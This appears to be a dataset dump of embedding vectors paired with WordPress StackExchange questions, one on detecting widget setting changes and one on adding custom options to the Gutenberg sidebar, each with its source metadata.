-0.02679443359375, -0.03857421875, 0.0156402587890625, -0.0236663818359375, -0.0191802978515625, -0.0161285400390625, -0.005496978759765625, 0.0293731689453125, 0.059783935546875, -0.029998779296875, 0.0120086669921875, 0.03497314453125, 0.01468658447265625, 0.0374755859375, -0.044158935546875, -0.0033168792724609375, 0.0223236083984375, -0.0169830322265625, 0.015167236328125, 0.043731689453125, -0.039764404296875, -0.01215362548828125, -0.03656005859375, 0.04656982421875, -0.051727294921875, 0.0006527900695800781, 0.016143798828125, 0.019500732421875, 0.007965087890625, -0.0016698837280273438, 0.01332855224609375, -0.0184326171875, 0.031890869140625, 0.01143646240234375, 0.033203125, 0.00601959228515625, 0.031402587890625, -0.0305328369140625, 0.0675048828125, 0.0161285400390625, 0.003875732421875, 0.019500732421875, 0.0254364013671875, -0.030059814453125, 0.0171051025390625, -0.0235595703125, 0.0465087890625, -0.019256591796875, 0.0172882080078125, -0.004608154296875, 0.0159759521484375, 0.03271484375, -0.0075225830078125, 0.08282470703125, 0.02630615234375, -0.056182861328125, -0.0171661376953125, 0.0026721954345703125, 0.0067138671875, -0.03338623046875, 0.06500244140625, 0.0211181640625, 0.00836181640625, 0.00624847412109375, -0.0264739990234375, 0.0300750732421875, -0.05322265625, -0.0048065185546875, 0.024505615234375, -0.005947113037109375, -0.0189361572265625, 0.00983428955078125, 0.0028858184814453125, -0.061248779296875, 0.0215911865234375, 0.03125, 0.00194549560546875, -0.01873779296875, 0.04705810546875, 0.0252227783203125, -0.0286712646484375, -0.03485107421875, -0.037567138671875, 0.030242919921875, 0.0088348388671875, 0.03973388671875, 0.0185546875, 0.027099609375, -0.01611328125, 0.01708984375, 0.0338134765625, 0.037841796875, -0.072998046875, 0.01343536376953125, 0.0236968994140625, 0.032562255859375, -0.01548004150390625, -0.00485992431640625, 0.033966064453125, 0.05157470703125, -0.037841796875, -0.02569580078125, -0.0026950836181640625, 0.0089111328125, 0.055999755859375, -0.01012420654296875, 0.0899658203125, -0.0023403167724609375, 0.01560211181640625, -0.0179595947265625, 0.0204620361328125, 0.0085906982421875, 0.0174102783203125, 0.004878997802734375, 0.043243408203125, -0.047210693359375, 0.0098114013671875, -0.034454345703125, -0.017059326171875, 0.00759124755859375, 0.0289764404296875, 0.023345947265625, 0.0107421875, 0.003536224365234375, -0.01488494873046875, 0.00518035888671875, 0.0210723876953125, 0.006526947021484375, -0.020233154296875, -0.00467681884765625, -0.06103515625, 0.036224365234375, 0.015716552734375, -0.011474609375, 0.0269317626953125, 0.031341552734375, -0.0004978179931640625, -0.035247802734375, -0.01123046875, 0.004840850830078125, -0.03912353515625, -0.011932373046875, -0.01338958740234375, -0.054290771484375, -0.0158843994140625, -0.031585693359375, -0.00232696533203125, -0.01212310791015625, 0.005962371826171875, -0.005558013916015625, 0.029571533203125, -0.007549285888671875, -0.015625, 0.015899658203125, -0.03265380859375, 0.037353515625, -0.0189208984375, -0.0200958251953125, 0.028472900390625, -0.04937744140625, -0.06964111328125, 0.0057830810546875, 0.01885986328125, -0.0259246826171875, 0.037353515625, -0.010528564453125, 0.00658416748046875, 0.0104217529296875, -0.026824951171875, 0.018402099609375, -0.006801605224609375, 0.0047607421875, 0.0084991455078125, -0.0712890625, -0.0304718017578125, -0.0286865234375, 0.038116455078125, -0.0149993896484375, 0.10491943359375, -0.0251617431640625, 0.006832122802734375, -0.054107666015625, 0.0160980224609375, -0.035003662109375, -0.01003265380859375, -0.032440185546875, 0.0242767333984375, 0.00247955322265625, 0.0222015380859375, -0.05474853515625, 0.055755615234375, -0.0097808837890625, 0.0205841064453125, 0.049224853515625, -0.031951904296875, 0.012603759765625, 0.009185791015625, 0.003101348876953125, -0.044342041015625, -0.065673828125, -0.06842041015625, 0.0249786376953125, -0.0186767578125, 0.0031757354736328125, -0.0098876953125, 0.05352783203125, -0.03271484375, -0.026336669921875, -0.015167236328125, -0.054779052734375, -0.035797119140625, 0.00960540771484375, -0.0059356689453125, 0.029876708984375, -0.0017671585083007812, -0.0229644775390625, 0.0159454345703125, 0.0025730133056640625, -0.0230255126953125, -0.00862884521484375, 0.0142974853515625, -0.02178955078125, -0.0023288726806640625, 0.01160430908203125, 0.00853729248046875, -0.008148193359375, -0.03485107421875, -0.01751708984375, -0.0012149810791015625, -0.016021728515625, -0.024871826171875, -0.033111572265625, 0.016265869140625, 0.0230560302734375, -0.0018024444580078125, -0.01239776611328125, -0.045684814453125, 0.005809783935546875, -0.015625, -0.02484130859375, -0.0289764404296875, 0.0152130126953125, -0.0171356201171875, 0.048065185546875, -0.048187255859375, -0.01434326171875, 0.01346588134765625, 0.0180816650390625, -0.05389404296875, 0.00623321533203125, -0.019317626953125, -0.030792236328125, -0.006023406982421875, 0.00026154518127441406, 0.0207366943359375, 0.00832366943359375, -0.025390625, -0.0266265869140625, -0.0323486328125, 0.007678985595703125, -0.03826904296875, -0.0065460205078125, 0.0009050369262695312, -0.0028285980224609375, -0.04095458984375, -0.0389404296875, 0.022796630859375, -0.0770263671875, -0.0318603515625, -0.033111572265625, 0.0283355712890625, 0.037384033203125, -0.0279083251953125, -0.058685302734375, 0.0293731689453125, -0.008544921875, -0.0230255126953125, -0.1021728515625, -0.022247314453125, 0.006103515625, 0.0682373046875, -0.026397705078125, -0.0171966552734375, -0.07586669921875, 0.033477783203125, 0.01352691650390625, 0.034912109375, -0.006954193115234375, 0.01282501220703125, -0.01300811767578125, 0.043670654296875, 0.031402587890625, 0.005615234375, 0.0163726806640625, 0.0025177001953125, 0.0262908935546875, 0.046417236328125, -0.02154541015625, 0.030364990234375, -0.0205535888671875, -0.0159149169921875, -0.0174102783203125, -0.0252838134765625, -0.00682830810546875, -0.00933074951171875, 0.0384521484375, 0.040283203125, 0.005184173583984375, -0.0226593017578125, -0.0255279541015625, -0.059356689453125, -0.0121612548828125, -0.014495849609375, 0.01108551025390625, -0.036590576171875, 0.01367950439453125, -0.00386810302734375, 0.04766845703125, 0.01641845703125, -0.044525146484375, 0.019744873046875, -0.0341796875, 0.004962921142578125, -0.01434326171875, 0.026153564453125, -0.02288818359375, 0.0361328125, -0.0267791748046875, -0.027496337890625, 0.00971221923828125, 0.0249481201171875, -0.01953125, 0.0002949237823486328, -0.006053924560546875, -0.0013246536254882812, -0.00514984130859375, 0.00691986083984375, 0.009613037109375, -0.004917144775390625, -0.016998291015625, -0.00804901123046875, -0.00577545166015625, 0.0034236907958984375, 0.0003857612609863281, 0.01064300537109375, -0.01611328125, 0.0200653076171875, -0.0016222000122070312, 0.03692626953125, -0.027496337890625, -0.0298614501953125, -0.04071044921875, 0.024078369140625, -0.0078582763671875, 0.0169830322265625, 0.0277099609375, 0.00969696044921875, 0.00860595703125, 0.0489501953125, 0.01593017578125, -0.01544952392578125, 0.022918701171875, 0.019287109375, 0.03167724609375, -0.006122589111328125 ]
03e1380b53d8d0d719e455f2817b63860a9a01a9
Wordpress Stackexchange Q: Get widget settings function? I am using this to find if a new widget has been added or removed from my site: serialize(retrieve_widgets()); Works great for added or removed widgets. But it doesn't detect if a widget setting has changed. Say I have a widget which lets me upload an image, and I replace the image in this widget. This change will not be seen with retrieve_widgets() How do I detect change in all the widgets?
Q: Get widget settings function? I am using this to find if a new widget has been added or removed from my site: serialize(retrieve_widgets()); Works great for added or removed widgets. But it doesn't detect if a widget setting has changed. Say I have a widget which lets me upload an image, and I replace the image in this widget. This change will not be seen with retrieve_widgets() How do I detect change in all the widgets?
wordpress
{ "language": "en", "length": 77, "provenance": "stackexchange_00019.jsonl.gz:486167", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303515" }
[ 0.027374267578125, 0.0179290771484375, 0.00482177734375, 0.01264190673828125, 0.0048980712890625, -0.0166015625, 0.0194854736328125, -0.063720703125, 0.039764404296875, 0.05010986328125, -0.01708984375, -0.005115509033203125, 0.01526641845703125, -0.01375579833984375, -0.05438232421875, -0.01053619384765625, 0.0472412109375, -0.012176513671875, 0.04595947265625, 0.0025920867919921875, 0.000980377197265625, 0.030548095703125, 0.04254150390625, 0.0711669921875, -0.004543304443359375, 0.0178070068359375, 0.042572021484375, -0.0095977783203125, -0.00600433349609375, -0.00730133056640625, 0.017333984375, -0.0189971923828125, 0.01506805419921875, 0.0272979736328125, -0.04156494140625, 0.055206298828125, -0.00669097900390625, 0.0186309814453125, 0.020751953125, 0.019989013671875, 0.02728271484375, -0.019500732421875, 0.00934600830078125, -0.02496337890625, -0.01556396484375, -0.0302581787109375, 0.046661376953125, -0.0285491943359375, 0.0256500244140625, 0.024383544921875, 0.030364990234375, -0.041961669921875, 0.039764404296875, -0.0196533203125, -0.0228729248046875, -0.0302886962890625, 0.00904083251953125, 0.033782958984375, 0.05889892578125, -0.0273590087890625, -0.07464599609375, -0.01558685302734375, 0.0178070068359375, -0.047576904296875, -0.0023746490478515625, -0.00916290283203125, -0.006816864013671875, 0.0182342529296875, -0.05841064453125, -0.03057861328125, 0.041748046875, -0.042694091796875, -0.00469207763671875, 0.0283660888671875, 0.01384735107421875, -0.067626953125, -0.0026874542236328125, -0.05450439453125, 0.027008056640625, 0.034088134765625, 0.03143310546875, -0.00785064697265625, -0.00489044189453125, 0.0093536376953125, 0.0266571044921875, 0.03277587890625, 0.0067596435546875, -0.034149169921875, -0.0124969482421875, 0.0194091796875, -0.0154571533203125, -0.0416259765625, 0.017730712890625, 0.0155181884765625, -0.001529693603515625, -0.0186309814453125, 0.006847381591796875, 0.03753662109375, -0.03057861328125, 0.013153076171875, -0.02569580078125, -0.007232666015625, 0.0033054351806640625, -0.0304412841796875, 0.0225677490234375, -0.021697998046875, -0.007183074951171875, -0.051025390625, 0.04443359375, 0.0252532958984375, -0.0228118896484375, 0.07379150390625, 0.0130157470703125, -0.005504608154296875, -0.010162353515625, -0.00023674964904785156, -0.01338958740234375, 0.004863739013671875, -0.00426483154296875, -0.0201568603515625, 0.0255584716796875, 0.051788330078125, -0.0200042724609375, -0.0379638671875, 0.020355224609375, -0.009765625, -0.0201568603515625, -0.0255126953125, 0.01465606689453125, -0.010528564453125, -0.0350341796875, 0.0216064453125, 0.0307464599609375, 0.0028247833251953125, 0.01320648193359375, -0.00820159912109375, 0.03009033203125, -0.004604339599609375, -0.00206756591796875, 0.06622314453125, -0.006988525390625, -0.054473876953125, -0.002727508544921875, 0.0047149658203125, -0.00975799560546875, -0.00023174285888671875, 0.0119476318359375, 0.009429931640625, -0.00439453125, -0.0447998046875, -0.01026153564453125, 0.00786590576171875, 0.04241943359375, 0.0132904052734375, -0.003597259521484375, -0.00882720947265625, 0.0330810546875, -0.0308074951171875, -0.026580810546875, -0.043487548828125, -0.01111602783203125, -0.0191650390625, -0.0091094970703125, -0.0033702850341796875, -0.021392822265625, 0.0193939208984375, -0.01238250732421875, -0.0039520263671875, 0.02398681640625, 0.08184814453125, -0.026092529296875, -0.016693115234375, 0.01136016845703125, 0.029876708984375, -0.01256561279296875, 0.0164642333984375, -0.0294342041015625, 0.03759765625, 0.00897216796875, -0.0115814208984375, -0.013885498046875, -0.043853759765625, 0.050262451171875, -0.001495361328125, -0.05792236328125, 0.024749755859375, 0.0015878677368164062, 0.0633544921875, 0.018890380859375, 0.01091766357421875, 0.02777099609375, -0.001857757568359375, -0.0626220703125, -0.01064300537109375, 0.023406982421875, 0.0299835205078125, -0.033477783203125, 0.00012385845184326172, 0.0016317367553710938, -0.036834716796875, 0.030731201171875, -0.0094757080078125, 0.0190277099609375, -0.0227508544921875, -0.06744384765625, -0.004940032958984375, -0.02557373046875, 0.03656005859375, 0.024810791015625, 0.0257110595703125, 0.01239013671875, 0.0241546630859375, -0.040435791015625, 0.05029296875, -0.0086517333984375, 0.00772857666015625, -0.0128936767578125, 0.0826416015625, -0.01326751708984375, 0.05279541015625, -0.042633056640625, -0.03533935546875, -0.016571044921875, -0.011962890625, 0.024017333984375, 0.0177764892578125, -0.0183563232421875, -0.005641937255859375, 0.053466796875, -0.005401611328125, 0.019378662109375, 0.036376953125, -0.032684326171875, 0.0003478527069091797, 0.00693511962890625, -0.0038204193115234375, -0.0012521743774414062, -0.08697509765625, 0.010772705078125, 0.04144287109375, 0.032989501953125, 0.032012939453125, -0.0033168792724609375, 0.00482940673828125, 0.02752685546875, -0.053802490234375, 0.0033740997314453125, 0.0037975311279296875, 0.026275634765625, 0.07562255859375, -0.01509857177734375, -0.00765228271484375, 0.007236480712890625, 0.007266998291015625, -0.0064697265625, 0.0225677490234375, -0.04412841796875, 0.0128631591796875, -0.025054931640625, 0.02972412109375, -0.0274810791015625, 0.013702392578125, 0.055755615234375, -0.03411865234375, 0.0367431640625, 0.046417236328125, 0.047027587890625, 0.051544189453125, -0.03302001953125, 0.044036865234375, 0.002506256103515625, -0.0511474609375, -0.0012922286987304688, 0.0556640625, 0.044158935546875, 0.01479339599609375, -0.0244140625, -0.0311126708984375, -0.0006084442138671875, 0.04296875, 0.00870513916015625, 0.049468994140625, -0.026885986328125, -0.0273895263671875, 0.00919342041015625, -0.02313232421875, -0.02703857421875, -0.005901336669921875, 0.01094818115234375, 0.041900634765625, 0.043121337890625, 0.04339599609375, 0.00030303001403808594, 0.0487060546875, -0.02093505859375, 0.014984130859375, 0.01432037353515625, 0.0005402565002441406, 0.0029087066650390625, 0.0199127197265625, 0.0162200927734375, 0.057037353515625, 0.036590576171875, -0.0128326416015625, -0.00510406494140625, 0.019012451171875, 0.03155517578125, -0.0035762786865234375, -0.00157928466796875, 0.0021533966064453125, -0.057342529296875, -0.0177001953125, 0.020263671875, 0.033935546875, -0.0173187255859375, -0.034271240234375, -0.02392578125, 0.005619049072265625, -0.0810546875, -0.0667724609375, -0.021087646484375, -0.061492919921875, -0.036224365234375, 0.00032258033752441406, -0.02825927734375, 0.0274505615234375, 0.01480865478515625, 0.00429534912109375, -0.0129241943359375, -0.01108551025390625, -0.0277252197265625, -0.01038360595703125, -0.0210113525390625, 0.031097412109375, -0.00989532470703125, 0.0018596649169921875, 0.00698089599609375, 0.044464111328125, -0.0087890625, -0.0712890625, -0.013916015625, 0.00019466876983642578, -0.003787994384765625, 0.0221710205078125, -0.0018529891967773438, 0.009033203125, 0.03509521484375, 0.003200531005859375, -0.003276824951171875, 0.03839111328125, -0.0301971435546875, -0.0278167724609375, 0.01290130615234375, 0.0035762786865234375, 0.016510009765625, 0.022125244140625, -0.01129150390625, -0.0203857421875, 0.00672149658203125, -0.047088623046875, 0.004974365234375, 0.019073486328125, -0.003559112548828125, 0.0235595703125, -0.0228424072265625, -0.037689208984375, 0.028472900390625, 0.0232086181640625, 0.0088653564453125, -0.0167694091796875, 0.0284423828125, -0.043182373046875, 0.06500244140625, 0.006221771240234375, 0.0088348388671875, -0.02886962890625, 0.01507568359375, -0.01399993896484375, 0.00568389892578125, 0.00363922119140625, 0.0094451904296875, -0.001483917236328125, 0.0064697265625, -0.025146484375, 0.002758026123046875, 0.0238189697265625, -0.0032138824462890625, 0.0261077880859375, -0.00818634033203125, -0.01001739501953125, 0.00521087646484375, 0.056793212890625, -0.032257080078125, -0.004039764404296875, -0.0272674560546875, 0.02545166015625, -0.058929443359375, -0.072021484375, -0.0214691162109375, 0.00991058349609375, -0.07257080078125, -0.0011167526245117188, -0.007801055908203125, -0.023834228515625, -0.0013303756713867188, -0.025238037109375, -0.02032470703125, -0.045074462890625, 0.0157318115234375, -0.01258087158203125, 0.0633544921875, -0.0262908935546875, 0.05426025390625, -0.026153564453125, 0.035186767578125, -0.060760498046875, -0.050750732421875, -0.0031452178955078125, -0.0163116455078125, 0.0282135009765625, 0.02032470703125, -0.042236328125, -0.00919342041015625, 0.03240966796875, 0.00702667236328125, -0.0298004150390625, 0.0177764892578125, 0.0300750732421875, -0.013671875, -0.03863525390625, -0.02197265625, -0.055755615234375, 0.0014543533325195312, -0.012908935546875, -0.059173583984375, -0.049102783203125, -0.026214599609375, -0.0235443115234375, 0.019439697265625, -0.040313720703125, -0.032257080078125, -0.0167694091796875, -0.016143798828125, 0.01427459716796875, -0.0426025390625, 0.038238525390625, -0.018280029296875, -0.044830322265625, 0.0268096923828125, -0.01202392578125, -0.00728607177734375, -0.00966644287109375, 0.07147216796875, 0.011871337890625, -0.00988006591796875, 0.00632476806640625, -0.03289794921875, 0.0201263427734375, 0.0504150390625, -0.040771484375, -0.0153350830078125, -0.0263824462890625, -0.05023193359375, 0.0188446044921875, -0.038299560546875, -0.006534576416015625, 0.07537841796875, 0.0226898193359375, -0.01617431640625, -0.011444091796875, -0.01076507568359375, 0.0189208984375, 0.037261962890625, -0.0052337646484375, -0.00891876220703125, 0.0308837890625, 0.0085906982421875, -0.039642333984375, -0.0062103271484375, -0.0034885406494140625, -0.01389312744140625, 0.016204833984375, -0.0057220458984375, 0.01148223876953125, -0.007762908935546875, 0.00699615478515625, -0.027587890625, -0.0059051513671875, 0.0116119384765625, -0.00894927978515625, 0.0311431884765625, -0.038543701171875, 0.044708251953125, -0.021881103515625, -0.00986480712890625, -0.0140838623046875, -0.0018701553344726562, 0.027618408203125, -0.027435302734375, -0.06329345703125, 0.0125579833984375, -0.00498199462890625, -0.00115966796875, 0.061981201171875, 0.006923675537109375, 0.006313323974609375, 0.0100250244140625, -0.0614013671875, -0.0131683349609375, 0.0289764404296875, -0.008209228515625, -0.0457763671875, -0.00884246826171875, -0.0080413818359375, -0.005340576171875, 0.02984619140625, 0.0003750324249267578, -0.0347900390625, 0.022552490234375, -0.00012695789337158203, 0.01215362548828125, -0.00923919677734375, 0.0114288330078125, 0.0107574462890625, 0.0196990966796875, 0.0193939208984375, -0.0249481201171875, 0.0305328369140625, -0.0247955322265625, 0.0006594657897949219, 0.01241302490234375, -0.002864837646484375, 0.0124664306640625, -0.007556915283203125, 0.0242156982421875, 0.00931549072265625, -0.039031982421875, 0.058074951171875, 0.0204010009765625, -0.0650634765625, -0.0267486572265625, 0.040924072265625, 0.0537109375, -0.002777099609375, -0.004802703857421875, 0.003932952880859375, -0.0285186767578125, -0.012725830078125, -0.007114410400390625, -0.02203369140625, -0.0124359130859375, 0.00363922119140625, -0.062469482421875, -0.03607177734375, 0.0064849853515625, -0.07489013671875, -0.041107177734375, 0.01409912109375, -0.005641937255859375, 0.00379180908203125, -0.024078369140625, 0.0474853515625, -0.044403076171875, 0.010498046875, -0.045013427734375, 0.01282501220703125, 0.0245819091796875, 0.009002685546875, -0.043243408203125, -0.0169525146484375, -0.0509033203125, -0.01526641845703125, -0.049560546875, -0.045501708984375, -0.043792724609375, -0.001190185546875, 0.030242919921875, 0.049713134765625, 0.018280029296875, 0.005382537841796875, 0.020599365234375, -0.014373779296875, -0.01349639892578125, 0.033538818359375, 0.0105743408203125, 0.04925537109375, -0.0007877349853515625, 0.0833740234375, 0.0023975372314453125, -0.0350341796875, -0.09881591796875, 0.0013256072998046875, 0.0279388427734375, 0.0465087890625, -0.0283355712890625, -0.062255859375, 0.00897216796875, -0.054534912109375, 0.04571533203125, -0.0225982666015625, 0.0105438232421875, -0.0303955078125, -0.0019741058349609375, -0.0118255615234375, 0.0257568359375, -0.0197296142578125, -0.008331298828125, 0.036346435546875, -0.01494598388671875, -0.044189453125, 0.00316619873046875, -0.0184478759765625, 0.01464080810546875, 0.046600341796875, -0.0225677490234375, -0.003162384033203125, -0.031951904296875, 0.0148468017578125, 0.0008726119995117188, 0.002964019775390625, 0.05377197265625, -0.02447509765625, 0.035888671875, 0.047821044921875, -0.0195159912109375, -0.0306243896484375, 0.0254974365234375, 0.031951904296875, -0.0010995864868164062, 0.0088348388671875, 0.03094482421875, -0.00319671630859375, 0.007808685302734375, 0.021453857421875, 0.047119140625, -0.05584716796875, 0.00850677490234375, 0.0227508544921875, 0.0110015869140625, 0.0256500244140625, 0.007129669189453125, -0.0303802490234375, -0.06982421875, 0.031890869140625, -0.0240478515625, -0.0080413818359375, 0.0096893310546875, -0.01445770263671875, -0.0120849609375, -0.0280609130859375, 0.048583984375, 0.0277557373046875, -0.0006527900695800781, 0.0362548828125, 0.0178375244140625, 0.0177459716796875, 0.003948211669921875, 0.01482391357421875, 0.009552001953125, -0.0390625, -0.07708740234375, -0.009124755859375, 0.0178680419921875, -0.048828125, -0.0360107421875, -0.019775390625, 0.06182861328125, 0.04388427734375, -0.004238128662109375, -0.00728607177734375, 0.002079010009765625, 0.01067352294921875, -0.03106689453125, -0.0167083740234375, 0.0306854248046875, 0.057830810546875, -0.05145263671875, 0.033233642578125, -0.01253509521484375, -0.0122833251953125, -0.005382537841796875, 0.032806396484375, 0.0673828125, -0.0892333984375, 0.01042938232421875, 0.02490234375, 0.053070068359375, 0.0168609619140625, 0.0019178390502929688, 0.0226898193359375, -0.061981201171875, -0.0290069580078125, -0.010528564453125, -0.057952880859375, -0.0139007568359375, -0.02386474609375, -0.034027099609375, 0.07470703125, 0.041290283203125, 0.006290435791015625, 0.024993896484375, 0.020538330078125, -0.03436279296875, 0.0167083740234375, -0.040008544921875, 0.041656494140625, -0.0408935546875, 0.049072265625, -0.03057861328125, 0.0266571044921875, -0.00678253173828125, 0.006450653076171875, 0.0738525390625, 0.01114654541015625, 0.036590576171875, 0.007354736328125, 0.03076171875, 0.016754150390625, -0.05316162109375, 0.00832366943359375, -0.006237030029296875, 0.004608154296875, 0.027801513671875, -0.01096343994140625, 0.0361328125, -0.012542724609375, -0.02587890625, 0.023956298828125, -0.0113983154296875, -0.0158538818359375, -0.0423583984375, 0.04022216796875, -0.009429931640625, -0.039642333984375, -0.0055694580078125, -0.0251922607421875, -0.010650634765625, 0.03948974609375, 0.034149169921875, -0.00945281982421875, -0.017547607421875, -0.0169219970703125, 0.033416748046875, 0.01421356201171875, -0.00030303001403808594, -0.001888275146484375, 0.00853729248046875, -0.001415252685546875, -0.0006146430969238281, -0.0154266357421875, 0.046966552734375, -0.007389068603515625, 0.027099609375, 0.080322265625, 0.055938720703125, 0.047027587890625, 0.01435089111328125, 0.0157318115234375, 0.0265045166015625, -0.0252838134765625, -0.061767578125, 0.0141143798828125, 0.002696990966796875, -0.0011730194091796875, 0.0506591796875, 0.0477294921875, -0.06646728515625, -0.00439453125, 0.006072998046875, -0.0273590087890625, 0.0140380859375, 0.054290771484375, 0.0132598876953125, 0.0029773712158203125, -0.060821533203125, -0.048583984375, -0.0260009765625, 0.004730224609375, -0.005596160888671875, 0.0265960693359375, 0.008270263671875, 0.0355224609375, 0.0007925033569335938, -0.002063751220703125, -0.01947021484375, 0.01209259033203125, -0.00435638427734375, 0.022735595703125, -0.04901123046875, -0.035186767578125, 0.0236053466796875, 0.03997802734375, 0.01468658447265625, -0.0048675537109375, 0.0298004150390625, 0.0120391845703125, -0.037933349609375, 0.017059326171875, 0.0966796875, -0.0118865966796875, 0.019439697265625, -0.039337158203125, 0.01222991943359375, 0.0154876708984375, -0.0147552490234375, -0.0277099609375, -0.020782470703125, 0.06524658203125, -0.042388916015625, 0.051055908203125, -0.0100555419921875, 0.00653839111328125, 0.10699462890625, -0.01172637939453125, 0.06414794921875, -0.01436614990234375, -0.05645751953125, -0.00782012939453125, -0.0033550262451171875, -0.045501708984375, 0.010284423828125, 0.0304718017578125, -0.0469970703125, 0.0287322998046875, 0.004669189453125, -0.030548095703125, 0.007564544677734375, 0.0192413330078125, -0.01328277587890625, -0.001644134521484375, 0.0208282470703125, -0.00937652587890625, -0.005218505859375, 0.004993438720703125, 0.032073974609375, 0.0201263427734375, 0.020416259765625, -0.01052093505859375, 0.032318115234375, 0.01427459716796875, 0.016693115234375, 0.0039215087890625, 0.002971649169921875, -0.003536224365234375, 0.07373046875, -0.00734710693359375, -0.029388427734375, -0.03228759765625, 0.0149383544921875, 0.03387451171875, 0.016265869140625, -0.039794921875, 0.006458282470703125, -0.00994873046875, 0.005565643310546875, 0.0180206298828125, -0.01190948486328125, -0.053558349609375, -0.01873779296875, -0.00139617919921875, -0.00814056396484375, -0.00855255126953125, -0.05950927734375, -0.0026950836181640625, -0.01168060302734375, 0.0004055500030517578, -0.0104217529296875, 0.0005064010620117188, 0.035919189453125, -0.0222015380859375, 0.0261383056640625, -0.0126800537109375, -0.01373291015625, -0.0228271484375, -0.0097198486328125, -0.01435089111328125, 0.004680633544921875, 0.01183319091796875, -0.016815185546875, 0.036285400390625, -0.005733489990234375, -0.004604339599609375, -0.01334381103515625, -0.05853271484375, -0.0167083740234375, 0.041839599609375, -0.0013790130615234375, -0.00780487060546875, -0.02581787109375, -0.0009889602661132812, -0.048065185546875, -0.0316162109375, 0.01532745361328125, -0.040771484375, -0.0232696533203125, -0.01213836669921875, 0.006168365478515625, 0.027313232421875, 0.0210418701171875, -0.09149169921875, 0.057586669921875, -0.0214691162109375, 0.03924560546875, -0.01560211181640625, -0.05438232421875, 0.03515625, 0.038482666015625, -0.04669189453125, -0.0157318115234375, -0.025726318359375, -0.033966064453125, -0.02825927734375, 0.0207061767578125, 0.0281982421875, -0.048309326171875, -0.00208282470703125, 0.053192138671875, 0.050048828125, 0.0787353515625, 0.01296234130859375, -0.007625579833984375, 0.017608642578125, 0.02471923828125, -0.024444580078125, -0.034332275390625, -0.003314971923828125, 0.0212249755859375, 0.018646240234375, -0.032318115234375, -0.0137939453125, -0.01446533203125, -0.05377197265625, -0.088623046875, 0.052459716796875, -0.016082763671875, -0.0298004150390625, -0.0291290283203125, 0.019378662109375, -0.00942230224609375, 0.00055694580078125, 0.001373291015625, -0.02423095703125, -0.0069427490234375, 0.020599365234375, 0.0176849365234375, 0.032867431640625, 0.03240966796875, -0.0174560546875, -0.1046142578125, -0.047271728515625, -0.08233642578125, 0.0501708984375, -0.0212249755859375, -0.026611328125, 0.0021839141845703125, 0.01055908203125, -0.043548583984375, -0.0811767578125, 0.01297760009765625, 0.0576171875, -0.00756072998046875, -0.004848480224609375, -0.01418304443359375, -0.0021915435791015625, 0.04986572265625, 0.05401611328125, 0.0258636474609375, -0.037353515625, 0.01302337646484375, 0.0345458984375, -0.0321044921875, -0.01214599609375, 0.019012451171875, -0.03717041015625, -0.0269622802734375, -0.0279541015625, -0.00485992431640625, 0.009490966796875, -0.0159912109375, -0.01922607421875, 0.0018339157104492188, 0.0316162109375, 0.0225982666015625, -0.035858154296875, 0.0022716522216796875, 0.032440185546875, -0.01617431640625, 0.059326171875, -0.0183258056640625, 0.01099395751953125, 0.0543212890625, 0.04522705078125, 0.0070953369140625, 0.0243988037109375, -0.038116455078125, -0.0010995864868164062, 0.01485443115234375, 0.0218963623046875, -0.01308441162109375, -0.013824462890625, 0.01395416259765625, -0.0270233154296875, -0.005153656005859375, -0.050140380859375, 0.0240631103515625, 0.017730712890625, -0.024261474609375, 0.0040283203125, 0.01503753662109375, 0.0462646484375, 0.004878997802734375, 0.050994873046875, 0.01251220703125, -0.04449462890625, 0.0247650146484375, -0.034271240234375, -0.0014667510986328125, -0.00955963134765625, -0.003940582275390625, -0.07647705078125, 0.06353759765625, -0.0058441162109375, 0.0023593902587890625, 0.049163818359375 ]
6df2e4f7e554379483551d9f252b6abf6fbfb55b
Wordpress Stackexchange Q: Add To Gutenberg Sidebar I'm trying to make sense of how to add custom page options to the right side of the Gutenberg interface. I don't think need a content block, I just need to be able to add a page-specific configuration, but can't seem to make it work correctly. Pre-Gutenberg I would resolve this with a metabox placed in the right side, however, from what I'm reading it sounds like metaboxes are going to be a bad practice moving forward. A: If you're looking to work with the Gutenberg sidebar, WordPress has a provided tutorial that will teach you exactly how to do this: https://wordpress.org/gutenberg/handbook/designers-developers/developers/tutorials/plugin-sidebar-0/
Q: Add To Gutenberg Sidebar I'm trying to make sense of how to add custom page options to the right side of the Gutenberg interface. I don't think need a content block, I just need to be able to add a page-specific configuration, but can't seem to make it work correctly. Pre-Gutenberg I would resolve this with a metabox placed in the right side, however, from what I'm reading it sounds like metaboxes are going to be a bad practice moving forward. A: If you're looking to work with the Gutenberg sidebar, WordPress has a provided tutorial that will teach you exactly how to do this: https://wordpress.org/gutenberg/handbook/designers-developers/developers/tutorials/plugin-sidebar-0/
wordpress
{ "language": "en", "length": 107, "provenance": "stackexchange_00019.jsonl.gz:486182", "question_score": "9", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303571" }
[ 0.007427215576171875, -0.01495361328125, 0.004730224609375, 0.0223388671875, -0.0180206298828125, -0.028076171875, 0.052154541015625, -0.01318359375, -0.0260009765625, 0.0268402099609375, 0.00762176513671875, -0.0126800537109375, -0.0204315185546875, -0.024200439453125, -0.01666259765625, -0.0322265625, 0.032623291015625, 0.0050811767578125, 0.04534912109375, 0.0031528472900390625, -0.006633758544921875, 0.0070037841796875, 0.0279388427734375, 0.041229248046875, 0.03204345703125, -0.0302886962890625, 0.0248260498046875, -0.03265380859375, 0.047821044921875, 0.00919342041015625, 0.032928466796875, -0.0252532958984375, 0.037139892578125, -0.050506591796875, 0.033782958984375, 0.036376953125, -0.00042700767517089844, -0.02203369140625, -0.0083465576171875, 0.01001739501953125, 0.04339599609375, -0.0254058837890625, -0.012298583984375, -0.0067596435546875, -0.0242919921875, 0.0150604248046875, 0.015533447265625, -0.01983642578125, -0.0008678436279296875, 0.0010223388671875, -0.0099639892578125, -0.020172119140625, -0.0079193115234375, 0.037200927734375, -0.0253448486328125, -0.051025390625, -0.007740020751953125, 0.025299072265625, 0.002040863037109375, 0.0040740966796875, -0.0016651153564453125, 0.0576171875, 0.007106781005859375, 0.0236663818359375, 0.026519775390625, -0.030792236328125, -0.045867919921875, 0.050994873046875, -0.036224365234375, 0.0052337646484375, 0.03271484375, -0.031494140625, 0.0203704833984375, -0.09466552734375, -0.01641845703125, 0.034637451171875, -0.032562255859375, -0.0270843505859375, 0.00962066650390625, -0.046142578125, -0.052947998046875, 0.06109619140625, -0.035125732421875, -0.048614501953125, -0.005619049072265625, -0.0321044921875, 